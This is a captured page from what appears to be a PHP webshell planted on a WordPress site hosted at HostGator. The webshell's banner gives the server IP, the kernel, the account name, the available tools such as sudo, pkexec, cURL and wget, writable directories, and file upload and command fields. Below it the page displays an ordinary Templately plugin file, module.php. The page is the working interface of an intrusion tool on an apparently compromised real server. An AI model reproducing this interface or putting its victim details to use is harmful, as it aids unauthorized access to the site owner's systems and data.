403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/www/wp-content/plugins/templately/modules/image-replace/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/www/wp-content/plugins/templately/modules/image-replace//module.php
<?php
/**
 * Image-replace module (spec 023-image-replace-module).
 *
 * REST: image search (`GET /templately/v1/ai-content/images`) — relocated from
 * includes/API/AIContent.php's search_images()/register_routes(), a self-contained
 * method with no shared state and no custom permission override (fell through to the
 * base API::_permission_check() default there too). The upload tab additionally uses
 * the standard WordPress Media Library (`wp/v2/media`) REST endpoint via
 * `wp_enqueue_media()`, already called globally for all Templately admin screens by
 * the admin infrastructure (spec 011) — no PHP registration needed for that part.
 *
 * The JS (ImageReplacePanel/ + LightBoxForAiConversation.js — relocated verbatim from
 * react-src/app/components/fsi/sidebar/ImageReplacePanel/ and react-src/app/components/
 * core/, both had zero consumers outside this feature) has no independent mount point —
 * it's deep-imported directly by its callers (the not-yet-extracted FSI sidebar's
 * AiConversationPanel.tsx, the SDK surface in react-src/sdk/, and the root
 * templately.js bundle for window.TemplatelyImageReplacePanelIsolated), matching spec
 * 019's "no webpack partial" pattern.
 *
 * @package Templately
 */

namespace Templately\Modules\ImageReplace;

use Templately\Core\Module_Base;
use Templately\Modules\ImageReplace\REST\ImageSearch;

class Module extends Module_Base {

	public function get_name(): string {
		return 'image-replace';
	}

	public function register_rest_routes(): void {
		ImageSearch::get_instance()->register_routes();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit